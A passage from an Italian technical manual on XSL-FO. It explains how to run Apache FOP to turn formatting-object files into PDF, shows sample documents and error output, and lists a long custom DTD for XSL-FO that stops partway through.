<p class="paragrafo">XML sta per Extensible Markup Language.    bla bla bla...
Perché,... così,... perciò,... sarà...</p>
```

```
<p class="paragrafo">Bla, bla, bla....</p>

<p class="firma">Pinco Pallino</p>


</body>
</html>
```

Si ricorda che in questo caso la codifica del file generato è UTF-8, inoltre, si fa notare che nel foglio di stile XSLT appare un dominio applicativo predefinito, allo scopo di riportarlo nel file XHTML di destinazione.

64.3 Introduzione a XSL-FO

XSL-FO (*XSL formatting object*) è un linguaggio realizzato in forma di file XML, con il quale si definisce l'aspetto finale di un documento. In pratica assomiglia concettualmente a HTML o a XHTML, con la differenza che vengono specificati in modo abbastanza preciso i dettagli sulla sua impaginazione per la stampa e generalmente sul suo aspetto finale.

XSL-FO nasce per essere utilizzato prevalentemente nell'ambito di un foglio di stile XSLT, con il quale si definisce la trasformazione di un documento XML in un file XSL-FO. Teoricamente, un navigatore dovrebbe essere in grado di utilizzare direttamente un foglio di stile XSLT che definisce questo tipo di trasformazione; in pratica, inizialmente si esegue la trasformazione per ottenere un file XSL-FO, il quale poi viene convertito in un formato finale comune (di solito è il formato PDF).

Figura 64.55. Passaggi normali per l'utilizzo di XSL-FO.

Nelle sezioni successive vengono mostrati prevalentemente esempi di file scritti secondo il formato XSL-FO, senza usare un foglio di stile XSLT, utilizzando FOP come programma per l'elaborazione, allo scopo di produrre il formato finale per la stampa.

64.3.1 Preparazione degli strumenti

Per poter ottenere la composizione finale di un file in formato XSL-FO occorre un elaboratore FO che generi un altro file più adatto alla consultazione e alla stampa. Qui viene mostrato l'uso di FOP,[2] che assieme a Xalan fa parte del progetto XML di Apache.

A differenza di Xalan, FOP è disponibile solo come programma Java, da interpretare anche una volta compilato. Gli esempi mostrati in questo capitolo sono stati verificati con FOP, eseguito attraverso Kaffe[3].

Una volta installato FOP in un sistema GNU, dovrebbe essere disponibile uno script che consente di avviare il programma senza difficoltà:

```
fop [opzioni] [-fo|-xml] file_ingresso [-xsl file_xsl] ↩
↪ [-pdf|-txt|-altro_formato] file_uscita
```

Se non fosse disponibile questo script, lo si potrebbe riprodurre facilmente utilizzando un contenuto simile a quello seguente:

```
#!/bin/sh
FOPPATH="/usr/share/java/fop.jar"
FOPPATH="$FOPPATH:/usr/share/java/xalan2.jar"
FOPPATH="$FOPPATH:/usr/share/java/xerces.jar"
FOPPATH="$FOPPATH:/usr/share/java/logkit.jar"
FOPPATH="$FOPPATH:/usr/share/java/avalon-framework.jar"
FOPPATH="$FOPPATH:/usr/share/java/batik.jar"
FOPPATH="$FOPPATH:/usr/share/java/jimi-1.0.jar"
CLASSPATH="$FOPPATH:$CLASSPATH"
export CLASSPATH

java $JAVA_OPTS org.apache.fop.apps.Fop "$@"
```

Come si può intendere, in questo caso si considera che i file Java di FOP e di Xalan siano contenuti nella directory '`/usr/share/java/`'; inoltre, viene considerato il contenuto della variabile di ambiente ***JAVA_OPTS*** per le opzioni da passare all'interprete Java. Infine, per quanto riguarda le prove effettuate, '**`java`**' è in realtà un collegamento all'eseguibile che svolge il compito di interpretazione dei programmi Java (per esempio '`/usr/lib/kaffe/bin/java`', oppure '`/usr/bin/kaffe`').

Per verificare subito il funzionamento di FOP si può provare con il sorgente XSL-FO seguente:

```
<?xml version="1.0" encoding="UTF-8"?>
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        <fo:simple-page-master master-name="prova">
            <fo:region-body />
        </fo:simple-page-master>
    </fo:layout-master-set>
    <fo:page-sequence master-reference="prova">
        <fo:flow flow-name="xsl-region-body">
            <fo:block>
                Ciao a tutti.
            </fo:block>
        </fo:flow>
    </fo:page-sequence>
</fo:root>
```

Supponendo che si tratti del file '`prova.fo`', si può generare la sua composizione con il comando seguente:

```
$ fop -fo prova.fo -pdf prova.pdf [invio]
```

Utilizzando Kaffe come interprete Java è probabile che appaiano molti errori non gravi; a parte questi, ciò che si dovrebbe vedere durante la composizione sono i messaggi seguenti:

```
[INFO] FOP 0.20.4
[INFO] building formatting object tree
[INFO] [1]
[INFO] Parsing of document complete, stopping renderer
```

Se non si arriva a vedere la frase finale in cui si conferma la conclusione dell'analisi e della composizione, qualcosa è andato storto. Quello che si deve ottenere è quindi il file '`prova.pdf`', contenente la scritta «Ciao a tutti.», collocata a partire dall'angolo superiore sinistro del foglio, senza alcun margine (il foglio dovrebbe avere il formato Lettera, ovvero 8,5 in × 11 in).

A parte la facilità con cui è stato utilizzato FOP per questo esempio, si possono presentare problemi difficili da comprendere, perché FOP è un progetto ancora all'inizio del suo sviluppo e non genera informazioni sufficienti a trovare gli errori sintattici nel sorgente XSL-FO. Per esempio, nel momento in cui si scrive questo capitolo, se si commette un piccolo errore come quello seguente (alla quarta riga, il marcatore iniziale dell'elemento '**`fo:simple-page-master`**' non è concluso dal simbolo '**`>`**'), i messaggi di XSL-FO non aiutano a capirlo:

```
1  <?xml version="1.0" encoding="UTF-8"?>
2  <fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
3      <fo:layout-master-set>
4          <fo:simple-page-master master-name="prova"
5              <fo:region-body />
6          </fo:simple-page-master>
7      </fo:layout-master-set>
8      <fo:page-sequence master-reference="prova">
9          <fo:flow flow-name="xsl-region-body">
10             <fo:block>
11                 Ciao a tutti.
12             </fo:block>
13         </fo:flow>
14     </fo:page-sequence>
15 </fo:root>
```

$ **fop -fo prova.fo -pdf prova.pdf** [*invio*]

```
[INFO] FOP 0.20.4
[INFO] building formatting object tree
[ERROR] Can't find bundle for base name ↩
↪org.apache.xerces.impl.msg.XMLMessages,locale en_US
```

Date le difficoltà, può essere conveniente l'abbinamento con un DTD, da verificare prima della composizione; eventualmente si può usare quello presentato nella sezione 64.4. Purtroppo il DTD non può verificare tutti i vincoli reali del formato XSL-FO, ma almeno consente di evitare errori grossolani.

Se si salva il file del DTD con il nome '`fo.dtd`', nella directory corrente, si può modificare l'intestazione dei file XSL-FO nel modo seguente:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
...
</fo:root>
```

Per l'analisi sintattica si può usare il pacchetto SP di James Clark (come descritto nella sezione 63.2), ma prima occorre procurarsi anche una dichiarazione XML standard assieme al suo catalogo. Si suppone di avere così anche i file '`xml.dcl`' e '`xml.cat`' (si riveda eventualmente quanto spiegato all'inizio del capitolo), entrambi collocati nella directory corrente, assieme al DTD. Naturalmente il file '`xml.cat`' deve contenere un riferimento al file '`xml.dcl`' nella directory corrente:

```
SGMLDECL "xml.dcl"
```

Per avviare la verifica del file '`prova.fo`' che contiene la dichiarazione corretta del DTD, si può procedere con il comando seguente:

$ **cat prova.fo | nsgmls -s -c ./xml.cat** [*invio*]

Data questa premessa, negli esempi proposti di file XSL-FO viene inserita sempre l'intestazione che dichiara il DTD (salvo eccezioni), anche se si tratta di un'informazione superflua per la composizione.

64.3.2 Struttura generale del documento secondo XSL-FO

Un foglio di stile XSL-FO è un documento XML abbinato al dominio applicativo (*namespace*) ⟨*http://www.w3.org/1999/XSL/Format*⟩, a cui si associa normalmente il prefisso '**fo:**'. L'elemento principale di questo documento, ovvero quello che contiene tutti gli altri, è '**fo:root**':

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    ...
</fo:root>
```

Questo elemento contiene obbligatoriamente '**fo:layout-master-set**' e uno o più elementi '**fo:page-sequence**'. Il primo serve a descrivere la pagina e l'impaginazione generale, mentre il secondo serve a incorporare il contenuto di ciò che si vuole stampare effettivamente (il testo, le immagini, ecc.):

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fo:root SYSTEM "fo.dtd">
<fo:root xmlns:fo="http://www.w3.org/1999/XSL/Format">
    <fo:layout-master-set>
        ...
    </fo:layout-master-set>
    <fo:page-sequence>
        ...
    </fo:page-sequence>
    ...
</fo:root>
```

64.3.3 Margini e direzione

Prima di poter descrivere la struttura della pagina secondo XSL-FO, è necessario comprendere alcuni concetti generali legati alla gestione dei margini: i «blocchi», ovvero gli oggetti che per loro natura possono essere considerati come dei rettangoli, ovvero delle scatole bidimensionali, hanno una gestione comune dei margini. Si osservi la figura 64.65.

Figura 64.65. Margini nelle scatole XSL-FO.

La figura mostra due scatole con margini definiti attraverso gruppi differenti di attributi: '**`margin-top`**', '**`margin-bottom`**', '**`margin-left`**' e '**`margin-right`**'; '**`space-before`**', '**`space-after`**', '**`start-indent`**' e '**`end-indent`**'. Il primo gruppo di attributi riguarda letteralmente il margine superiore, il margine inferiore, il margine sinistro e il margine destro, mentre il secondo gruppo tiene conto della direzione della scrittura. In pratica, la figura mostra l'uso del secondo gruppo di attributi quando la scrittura avviene da sinistra a destra e dall'alto in basso; si può comprendere intuitivamente come cambino significato questi margini se l'andamento della scrittura cambia.

Questi due gruppi di definizione dei margini sono alternativi e se si usano assieme, viene scelto un tipo di margine in base a delle precedenze. Tuttavia, in generale è meglio usare il secondo gruppo di margini che è più generale.

Per quanto riguarda la direzione, questa può essere controllata con l'attributo '**`writing-mode`**', a cui si possono attribuire stringhe come '**`lr-tb`**' e '**`rl-tb`**' (in questo caso riferite rispettivamente alla scrittura da sinistra a destra e dall'alto in basso, oppure da destra a sinistra e dall'alto in basso). Tuttavia, è probabile che gli strumenti di elaborazione di file XSL-FO, nel loro sviluppo iniziale, non siano in grado di adeguarsi al cambiamento di direzione.

64.4 Approfondimento: un DTD per XSL-FO

Quello che segue è un DTD realizzato appositamente durante lo studio che ha preceduto la realizzazione degli esempi che sono proposti in questi capitoli, attingendo dalle informazioni contenute nel documento *xsl:fo short reference*, il quale fa parte della documentazione di FOP, oltre che dal documento *Extensible stylesheet language (XSL)*, presso ⟨*http://www.w3.org/TR/xsl/*⟩ (si dovrebbe poter ottenere una copia di questo file da ⟨*allegati/sgml/fo.dtd*⟩).

Si osservi che nel DTD manca la possibilità di utilizzare attributi generici riferiti ai bordi (per esempio '**`border`**', '**`border-color`**', ecc.), la presenza dei quali risulterebbe in un errore.

Si ritiene che non sia il caso di utilizzare queste proprietà complessive come si può fare con i fogli di stile CSS; tuttavia, non sarebbe difficile aggiungere tali proprietà al DTD se lo si ritiene necessario.

```
1  <!-- 2003.08.05 written by Daniele Giacomini <appunti2@gmail.com>    -->
2
3  <?xml version="1.0" encoding="UTF-8"?>
4  <!-- ================================================================ -->
5  <!-- CONTENT                                                          -->
6  <!-- ================================================================ -->
7
8  <!ENTITY % block  "
9      fo:block
10 |   fo:block-container
11 |   fo:list-block
12 |   fo:table
13 |   fo:table-and-caption
14 |   fo:float">
15
16 <!ENTITY % inline  "
17     fo:basic-link
18 |   fo:bidi-override
19 |   fo:character
20 |   fo:external-graphic
21 |   fo:inline
22 |   fo:inline-container
23 |   fo:instream-foreign-object
24 |   fo:leader
25 |   fo:multi-toggle
26 |   fo:page-number
27 |   fo:page-number-citation
28 |   fo:footnote">
29
30 <!-- ================================================================ -->
31 <!-- PROPERTY                                                         -->
32 <!-- ================================================================ -->
33
34 <!ENTITY % absolute-position  "
35     absolute-position  (auto | absolute | fixed | inherit)  #IMPLIED">
36
37 <!ENTITY % active-state  "
38     active-state  (link | visited | active | hover | focus)  #REQUIRED">
39
40 <!ENTITY % alignment-adjust  "
41     alignment-adjust  CDATA  #IMPLIED">
42
43 <!ENTITY % alignment-baseline  "
44     alignment-baseline  (auto | baseline | before-edge| text-before-edge
45                         | middle | central | after-edge| text-after-edge
46                         | ideographic | alphabetic | hanging | mathematical
47                         | inherit)
48     #IMPLIED">
49
50 <!ENTITY % auto-restore  "
51     auto-restore  (true | false)  #IMPLIED">
52
53 <!ENTITY % azimuth  "
54     azimuth  CDATA  #IMPLIED">
```

```
55
56   <!ENTITY % background  "
57       background  CDATA  #IMPLIED">
58
59   <!ENTITY % background-attachment  "
60       background-attachment  (scroll | fixed | inherit)  #IMPLIED">
61
62   <!ENTITY % background-color  "
63       background-color  CDATA  #IMPLIED">
64
65   <!ENTITY % background-image  "
66       background-image  CDATA  #IMPLIED">
67
68   <!ENTITY % background-position  "
69       background-position  CDATA  #IMPLIED">
70
71   <!ENTITY % background-position-horizontal  "
72       background-position-horizontal  CDATA  #IMPLIED">
73
74   <!ENTITY % background-position-vertical  "
75       background-position-vertical  CDATA  #IMPLIED">
76
77   <!ENTITY % background-repeat  "
78       background-repeat  (repeat | repeat-x | repeat-y | no-repeat | inherit)
79       #IMPLIED">
80
81   <!ENTITY % baseline-shift  "
82       baseline-shift  CDATA  #IMPLIED">
83
84   <!ENTITY % blank-or-not-blank  "
85       blank-or-not-blank  (blank | not-blank | any | inherit)  #IMPLIED">
86
87   <!ENTITY % block-progression-dimension  "
88       block-progression-dimension  CDATA  #IMPLIED">
89
90   <!ENTITY % border  "
91       border  CDATA  #IMPLIED">
92
93   <!ENTITY % border-after-color  "
94       border-after-color  CDATA  #IMPLIED">
95
96   <!ENTITY % border-after-precedence  "
97       border-after-precedence  CDATA  #IMPLIED">
98
99   <!ENTITY % border-after-style  "
100      border-after-style  CDATA  #IMPLIED">
101
102  <!ENTITY % border-after-width  "
103      border-after-width  CDATA  #IMPLIED">
104
105  <!ENTITY % border-before-color  "
106      border-before-color  CDATA  #IMPLIED">
107
108  <!ENTITY % border-before-precedence  "
109      border-before-precedence  CDATA  #IMPLIED">
110
111  <!ENTITY % border-before-style  "
```

```
112        border-before-style  CDATA  #IMPLIED">
113
114    <!ENTITY % border-before-width  "
115        border-before-width  CDATA  #IMPLIED">
116
117    <!ENTITY % border-bottom  "
118        border-bottom  CDATA  #IMPLIED">
119
120    <!ENTITY % border-bottom-color  "
121        border-bottom-color  CDATA  #IMPLIED">
122
123    <!ENTITY % border-bottom-style  "
124        border-bottom-style  CDATA  #IMPLIED">
125
126    <!ENTITY % border-bottom-width  "
127        border-bottom-width  CDATA  #IMPLIED">
128
129    <!ENTITY % border-collapse  "
130        border-collapse  (collapse | separate | inherit)  #IMPLIED">
131
132    <!ENTITY % border-color  "
133        border-color  CDATA  #IMPLIED">
134
135    <!ENTITY % border-end-color  "
136        border-end-color  CDATA  #IMPLIED">
137
138    <!ENTITY % border-end-precedence  "
139        border-end-precedence  CDATA  #IMPLIED">
140
141    <!ENTITY % border-end-style  "
142        border-end-style  CDATA  #IMPLIED">
143
144    <!ENTITY % border-end-width  "
145        border-end-width  CDATA  #IMPLIED">
146
147    <!ENTITY % border-left  "
148        border-left  CDATA  #IMPLIED">
149
150    <!ENTITY % border-left-color  "
151        border-left-color  CDATA  #IMPLIED">
152
153    <!ENTITY % border-left-style  "
154        border-left-style  CDATA  #IMPLIED">
155
156    <!ENTITY % border-left-width  "
157        border-left-width  CDATA  #IMPLIED">
158
159    <!ENTITY % border-right  "
160        border-right  CDATA  #IMPLIED">
161
162    <!ENTITY % border-right-color  "
163        border-right-color  CDATA  #IMPLIED">
164
165    <!ENTITY % border-right-style  "
166        border-right-style  CDATA  #IMPLIED">
167
168    <!ENTITY % border-right-width  "
```

```
169        border-right-width  CDATA  #IMPLIED">
170
171    <!ENTITY % border-separation  "
172        border-separation  CDATA  #IMPLIED">
173
174    <!ENTITY % border-spacing  "
175        border-spacing  CDATA  #IMPLIED">
176
177    <!ENTITY % border-start-color  "
178        border-start-color  CDATA  #IMPLIED">
179
180    <!ENTITY % border-start-precedence  "
181        border-start-precedence  CDATA  #IMPLIED">
182
183    <!ENTITY % border-start-style  "
184        border-start-style  CDATA  #IMPLIED">
185
186    <!ENTITY % border-start-width  "
187        border-start-width  CDATA  #IMPLIED">
188
189    <!ENTITY % border-style  "
190        border-style  CDATA  #IMPLIED">
191
192    <!ENTITY % border-top  "
193        border-top  CDATA  #IMPLIED">
194
195    <!ENTITY % border-top-color  "
196        border-top-color  CDATA  #IMPLIED">
197
198    <!ENTITY % border-top-style  "
199        border-top-style  CDATA  #IMPLIED">
200
201    <!ENTITY % border-top-width  "
202        border-top-width  CDATA  #IMPLIED">
203
204    <!ENTITY % border-width  "
205        border-width  CDATA  #IMPLIED">
206
207    <!ENTITY % bottom  "
208        bottom  CDATA  #IMPLIED">
209
210    <!ENTITY % break-after  "
211        break-after  (auto | column | page | even-page | odd-page | inherit)
212        #IMPLIED">
213
214    <!ENTITY % break-before  "
215        break-before  (auto | column | page | even-page | odd-page | inherit)
216        #IMPLIED">
217
218    <!ENTITY % caption-side  "
219        caption-side  (before | after | start | end | top | bottom | left
220                      | right | inherit)
221        #IMPLIED">
222
223    <!ENTITY % case-name  "
224        case-name  CDATA  #IMPLIED">
225
```

```
226  <!ENTITY % case-title  "
227      case-title  CDATA  #IMPLIED">
228
229  <!ENTITY % character  "
230      character  CDATA  #REQUIRED">
231
232  <!ENTITY % clear  "
233      clear  (start | end | left | right | both | none | inherit)  #IMPLIED">
234
235  <!ENTITY % clip  "
236      clip  CDATA  #IMPLIED">
237
238  <!ENTITY % color  "
239      color  CDATA  #IMPLIED">
240
241  <!ENTITY % color-profile-name  "
242      color-profile-name  CDATA  #REQUIRED">
243
244  <!ENTITY % column-count  "
245      column-count  CDATA  #IMPLIED">
246
247  <!ENTITY % column-gap  "
248      column-gap  CDATA  #IMPLIED">
249
250  <!ENTITY % column-number  "
251      column-number  CDATA  #IMPLIED">
252
253  <!ENTITY % column-width  "
254      column-width  CDATA  #IMPLIED">
255
256  <!ENTITY % content-height  "
257      content-height  CDATA  #IMPLIED">
258
259  <!ENTITY % content-type  "
260      content-type  CDATA  #IMPLIED">
261
262  <!ENTITY % content-width  "
263      content-width  CDATA  #IMPLIED">
264
265  <!ENTITY % country  "
266      country  CDATA  #IMPLIED">
267
268  <!ENTITY % cue  "
269      cue  CDATA  #IMPLIED">
270
271  <!ENTITY % cue-after  "
272      cue-after  CDATA  #IMPLIED">
273
274  <!ENTITY % cue-before  "
275      cue-before  CDATA  #IMPLIED">
276
277  <!ENTITY % destination-placement-offset  "
278      destination-placement-offset  CDATA  #IMPLIED">
279
280  <!ENTITY % direction  "
281      direction  (ltr | rtl | inherit)  #IMPLIED">
282
```

```
283  <!ENTITY % display-align  "
284      display-align  (auto | before | center | after| inherit)  #IMPLIED">
285
286  <!ENTITY % dominant-baseline  "
287      dominant-baseline  (auto | use-script | no-change | reset-size
288                         | ideographic | alphabetic | hanging | mathematical
289                         | inherit)
290      #IMPLIED">
291
292  <!ENTITY % elevation  "
293      elevation  CDATA  #IMPLIED">
294
295  <!ENTITY % empty-cells  "
296      empty-cells  (show | hide | inherit)  #IMPLIED">
297
298  <!ENTITY % end-indent  "
299      end-indent  CDATA  #IMPLIED">
300
301  <!ENTITY % ends-row  "
302      ends-row  (true | false)  #IMPLIED">
303
304  <!ENTITY % extent  "
305      extent  CDATA  #REQUIRED">
306
307  <!ENTITY % external-destination  "
308      external-destination  CDATA  #IMPLIED">
309
310  <!ENTITY % float  "
311      float  (before | start | end | left | right | none | inherit)  #IMPLIED">
312
313  <!ENTITY % flow-name  "
314      flow-name  CDATA  #REQUIRED">
315
316  <!ENTITY % font  "
317      font  CDATA  #IMPLIED">
318
319  <!ENTITY % font-family  "
320      font-family  CDATA  #IMPLIED">
321
322  <!ENTITY % font-selection-strategy  "
323      font-selection-strategy  (auto | character-by-character | inherit)
324      #IMPLIED">
325
326  <!ENTITY % font-size  "
327      font-size  CDATA  #IMPLIED">
328
329  <!ENTITY % font-size-adjust  "
330      font-size-adjust  CDATA  #IMPLIED">
331
332  <!ENTITY % font-stretch  "
333      font-stretch  (normal | wider | narrower | ultra-condensed
334                    | extra-condensed | condensed | semi-condensed
335                    | semi-expanded |expanded | extra-expanded
336                    | ultra-expanded | inherit)
337      #IMPLIED">
338
339  <!ENTITY % font-style  "
```

```
340        font-style  (normal | italic | oblique |  backslant | inherit)  #IMPLIED">
341
342    <!ENTITY % font-variant  "
343        font-variant  (normal | small-caps | inherit)  #IMPLIED">
344
345    <!ENTITY % font-weight  "
346        font-weight  (normal | bold | bolder | lighter | 100 | 200
347                     | 300 | 400 | 500 | 600 | 700 | 800 | 900 | inherit)
348        #IMPLIED">
349
350    <!ENTITY % force-page-count  "
351        force-page-count  (auto | even | odd | end-on-even | end-on-odd
352                          | no-force| inherit)
353        #IMPLIED">
354
355    <!ENTITY % format  "
356        format  CDATA  #IMPLIED">
357
358    <!ENTITY % glyph-orientation-horizontal  "
359        glyph-orientation-horizontal  CDATA  #IMPLIED">
360
361    <!ENTITY % glyph-orientation-vertical  "
362        glyph-orientation-vertical  CDATA  #IMPLIED">
363
364    <!ENTITY % grouping-separator  "
365        grouping-separator  CDATA  #IMPLIED">
366
367    <!ENTITY % grouping-size  "
368        grouping-size  CDATA  #IMPLIED">
369
370    <!ENTITY % height  "
371        height  CDATA  #IMPLIED">
372
373    <!ENTITY % hyphenate  "
374        hyphenate  (false | true | inherit)  #IMPLIED">
375
376    <!ENTITY % hyphenation-character  "
377        hyphenation-character  CDATA  #IMPLIED">
378
379    <!ENTITY % hyphenation-keep  "
380        hyphenation-keep  (auto | column | page | inherit)  #IMPLIED">
381
382    <!ENTITY % hyphenation-ladder-count  "
383        hyphenation-ladder-count  CDATA  #IMPLIED">
384
385    <!ENTITY % hyphenation-push-character-count  "
386        hyphenation-push-character-count  CDATA  #IMPLIED">
387
388    <!ENTITY % hyphenation-remain-character-count  "
389        hyphenation-remain-character-count  CDATA  #IMPLIED">
390
391    <!ENTITY % id  "
392        id  CDATA  #IMPLIED">
393
394    <!ENTITY % indicate-destination  "
395        indicate-destination  (true | false)  #IMPLIED">
396
```

```
397  <!ENTITY % initial-page-number  "
398      initial-page-number  CDATA  #IMPLIED">
399
400  <!ENTITY % inline-progression-dimension  "
401      inline-progression-dimension  CDATA  #IMPLIED">
402
403  <!ENTITY % internal-destination  "
404      internal-destination  CDATA  #IMPLIED">
405
406  <!ENTITY % keep-together  "
407      keep-together  CDATA  #IMPLIED">
408
409  <!ENTITY % keep-with-next  "
410      keep-with-next  CDATA  #IMPLIED">
411
412  <!ENTITY % keep-with-previous  "
413      keep-with-previous  CDATA  #IMPLIED">
414
415  <!ENTITY % language  "
416      language  CDATA  #IMPLIED">
417
418  <!ENTITY % last-line-end-indent  "
419      last-line-end-indent  CDATA  #IMPLIED">
420
421  <!ENTITY % leader-alignment  "
422      leader-alignment  (none | reference-area | page | inherit)  #IMPLIED">
423
424  <!ENTITY % leader-length  "
425      leader-length  CDATA  #IMPLIED">
426
427  <!ENTITY % leader-pattern  "
428      leader-pattern  (space | rule | dots | use-content | inherit)  #IMPLIED">
429
430  <!ENTITY % leader-pattern-width  "
431      leader-pattern-width  CDATA  #IMPLIED">
432
433  <!ENTITY % left  "
434      left  CDATA  #IMPLIED">
435
436  <!ENTITY % letter-spacing  "
437      letter-spacing  CDATA  #IMPLIED">
438
439  <!ENTITY % letter-value  "
440      letter-value  (auto | alphabetic | traditional)  #IMPLIED">
441
442  <!ENTITY % line-height  "
443      line-height  CDATA  #IMPLIED">
444
445  <!ENTITY % line-height-shift-adjustment  "
446      line-height-shift-adjustment  (consider-shifts | disregard-shifts | inherit)
447      #IMPLIED">
448
449  <!ENTITY % line-stacking-strategy  "
450      line-stacking-strategy  (line-height | font-height | max-height | inherit)
451      #IMPLIED">
452
453  <!ENTITY % linefeed-treatment  "
```

```
454        linefeed-treatment  (ignore | preserve | treat-as-space
455                            | treat-as-zero-width-space | inherit)
456        #IMPLIED">
457
458    <!ENTITY % margin  "
459        margin  CDATA  #IMPLIED">
460
461    <!ENTITY % margin-bottom  "
462        margin-bottom  CDATA  #IMPLIED">
463
464    <!ENTITY % margin-left  "
465        margin-left  CDATA  #IMPLIED">
466
467    <!ENTITY % margin-right  "
468        margin-right  CDATA  #IMPLIED">
469
470    <!ENTITY % margin-top  "
471        margin-top  CDATA  #IMPLIED">
472
473    <!ENTITY % marker-class-name  "
474        marker-class-name  CDATA  #IMPLIED">
475
476    <!ENTITY % master-name  "
477        master-name  CDATA  #REQUIRED">
478
479    <!ENTITY % master-reference  "
480        master-reference  CDATA  #REQUIRED">
481
482    <!ENTITY % max-height  "
483        max-height  CDATA  #IMPLIED">
484
485    <!ENTITY % max-width  "
486        max-width  CDATA  #IMPLIED">
487
488    <!ENTITY % maximum-repeats  "
489        maximum-repeats  CDATA  #IMPLIED">
490
491    <!ENTITY % media-usage  "
492        media-usage  (auto | paginate | bounded-in-one-dimension | unbounded)
493        #IMPLIED">
494
495    <!ENTITY % min-height  "
496        min-height  CDATA  #IMPLIED">
497
498    <!ENTITY % min-width  "
499        min-width  CDATA  #IMPLIED">
500
501    <!ENTITY % number-columns-repeated  "
502        number-columns-repeated  CDATA  #IMPLIED">
503
504    <!ENTITY % number-columns-spanned  "
505        number-columns-spanned  CDATA  #IMPLIED">
506
507    <!ENTITY % number-rows-spanned  "
508        number-rows-spanned  CDATA  #IMPLIED">
509
510    <!ENTITY % odd-or-even  "
```

```
511        odd-or-even  (odd | even | any | inherit)  #IMPLIED">
512
513    <!ENTITY % orphans  "
514        orphans  CDATA  #IMPLIED">
515
516    <!ENTITY % overflow  "
517        overflow  (visible | hidden | scroll | error-if-overflow | auto | inherit)
518        #IMPLIED">
519
520    <!ENTITY % padding  "
521        padding  CDATA  #IMPLIED">
522
523    <!ENTITY % padding-after  "
524        padding-after  CDATA  #IMPLIED">
525
526    <!ENTITY % padding-before  "
527        padding-before  CDATA  #IMPLIED">
528
529    <!ENTITY % padding-bottom  "
530        padding-bottom  CDATA  #IMPLIED">
531
532    <!ENTITY % padding-end  "
533        padding-end  CDATA  #IMPLIED">
534
535    <!ENTITY % padding-left  "
536        padding-left  CDATA  #IMPLIED">
537
538    <!ENTITY % padding-right  "
539        padding-right  CDATA  #IMPLIED">
540
541    <!ENTITY % padding-start  "
542        padding-start  CDATA  #IMPLIED">
543
544    <!ENTITY % padding-top  "
545        padding-top  CDATA  #IMPLIED">
546
547    <!ENTITY % page-break-after  "
548        page-break-after  (auto | always | avoid | left | right | inherit)
549        #IMPLIED">
550
551    <!ENTITY % page-break-before  "
552        page-break-before  (auto | always | avoid | left | right | inherit)
553        #IMPLIED">
554
555    <!ENTITY % page-break-inside  "
556        page-break-inside  (avoid | auto | inherit)  #IMPLIED">
557
558    <!ENTITY % page-height  "
559        page-height  CDATA  #IMPLIED">
560
561    <!ENTITY % page-position  "
562        page-position  (first | last | rest | any | inherit)  #IMPLIED">
563
564    <!ENTITY % page-width  "
565        page-width  CDATA  #IMPLIED">
566
567    <!ENTITY % pause  "
```

```
568        pause  CDATA  #IMPLIED">
569
570    <!ENTITY % pause-after  "
571        pause-after  CDATA  #IMPLIED">
572
573    <!ENTITY % pause-before  "
574        pause-before  CDATA  #IMPLIED">
575
576    <!ENTITY % pitch  "
577        pitch  CDATA  #IMPLIED">
578
579    <!ENTITY % pitch-range  "
580        pitch-range  CDATA  #IMPLIED">
581
582    <!ENTITY % play-during  "
583        play-during  CDATA  #IMPLIED">
584
585    <!ENTITY % position  "
586        position  (static | relative | absolute | fixed | inherit)  #IMPLIED">
587
588    <!ENTITY % precedence  "
589        precedence  (true | false | inherit)  #IMPLIED">
590
591    <!ENTITY % provisional-distance-between-starts  "
592        provisional-distance-between-starts  CDATA  #IMPLIED">
593
594    <!ENTITY % provisional-label-separation  "
595        provisional-label-separation  CDATA  #IMPLIED">
596
597    <!ENTITY % ref-id  "
598        ref-id  CDATA  #REQUIRED">
599
600    <!ENTITY % reference-orientation  "
601        reference-orientation  ( 0 | 90 | 180 | 270 | -90 | -180 | -270 | inherit)
602        #IMPLIED">
603
604    <!ENTITY % region-name  "
605        region-name  CDATA  #IMPLIED">
606
607    <!ENTITY % relative-align  "
608        relative-align  (before | baseline| inherit)  #IMPLIED">
609
610    <!ENTITY % relative-position  "
611        relative-position  (static | relative | inherit)  #IMPLIED">
612
613    <!ENTITY % rendering-intent  "
614        rendering-intent  (auto | perceptual | relative-colorimetric
615                          | saturation | absolute-colorimetric | inherit)
616        #IMPLIED">
617
618    <!ENTITY % retrieve-boundary  "
619        retrieve-boundary  (page | page-sequence | document)  #IMPLIED">
620
621    <!ENTITY % retrieve-class-name  "
622        retrieve-class-name  CDATA  #IMPLIED">
623
624    <!ENTITY % retrieve-position  "
```

```
625        retrieve-position  (first-starting-within-page | first-including-carryover
626                           |last-starting-within-page | last-ending-within-page)
627        #IMPLIED">
628
629    <!ENTITY % richness  "
630        richness  CDATA  #IMPLIED">
631
632    <!ENTITY % right  "
633        right  CDATA  #IMPLIED">
634
635    <!ENTITY % role  "
636        role  CDATA  #IMPLIED">
637
638    <!ENTITY % rule-style  "
639        rule-style  (none | dotted | dashed | solid | double | groove
640                    | ridge | inherit)
641        #IMPLIED">
642
643    <!ENTITY % rule-thickness  "
644        rule-thickness  CDATA  #IMPLIED">
645
646    <!ENTITY % scaling  "
647        scaling  (uniform | non-uniform | inherit)  #IMPLIED">
648
649    <!ENTITY % scaling-method  "
650        scaling-method  (auto | integer-pixels | resample-any-method | inherit)
651        #IMPLIED">
652
653    <!ENTITY % score-spaces  "
654        score-spaces  (true | false | inherit)  #IMPLIED">
655
656    <!ENTITY % script  "
657        script  CDATA  #IMPLIED">
658
659    <!ENTITY % show-destination  "
660        show-destination  (replace | new)  #IMPLIED">
661
662    <!ENTITY % size  "
663        size  CDATA  #IMPLIED">
664
665    <!ENTITY % source-document  "
666        source-document  CDATA  #IMPLIED">
667
668    <!ENTITY % space-after  "
669        space-after  CDATA  #IMPLIED">
670
671    <!ENTITY % space-before  "
672        space-before  CDATA  #IMPLIED">
673
674    <!ENTITY % space-end  "
675        space-end  CDATA  #IMPLIED">
676
677    <!ENTITY % space-start  "
678        space-start  CDATA  #IMPLIED">
679
680    <!ENTITY % space-treatment  "
681        space-treatment  (ignore | preserve | ignore-if-before-linefeed
